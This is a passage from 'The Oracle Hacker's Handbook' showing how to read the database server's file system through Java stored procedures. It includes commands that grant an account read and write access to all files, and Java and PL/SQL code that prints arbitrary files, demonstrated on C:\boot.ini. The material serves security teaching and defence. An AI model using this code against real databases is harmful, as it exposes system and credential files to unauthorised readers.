The Oracle® Hacker's Handbook: Hacking and Defending Oracle

11.2. Accessing the File System Using Java

Using the UTL_FILE package to access the file system requires that a user has either access to a DIRECTORY object or the privilege to create a DIRECTORY object. Using Java instead does not require the presence of a DIRECTORY — but rather the read and write java.io.FilePermission. This can be granted with a call to DBMS_JAVA.GRANT_PERMISSION:

exec dbms_java.grant_permission( 'SCOTT',
'SYS:java.io.FilePermission','<<ALL FILES>>','read');

exec dbms_java.grant_permission( 'SCOTT',
'SYS:java.io.FilePermission','<<ALL FILES>>','write');

The following code enables a user to read a file with the privileges of the Oracle user:

set serveroutput on
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADFILE
{
        public static void readfile(String filename) throws IOException
        {
                FileReader f = new FileReader(filename);
                BufferedReader fr = new BufferedReader(f);
                String text = fr.readLine();;
                while(text != null)
                {
                        System.out.println(text);
                        text = fr.readLine();
                }
                fr.close();
        }
}
/

CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVAREADFILE.readfile (java.lang.String)';
/
exec dbms_java.set_output(2000);
exec JAVAREADFILEPROC('C:\boot.ini')

Clearly, the preceding code is much neater than using UTL_FILE and dispatches with those pesky DIRECTORY objects.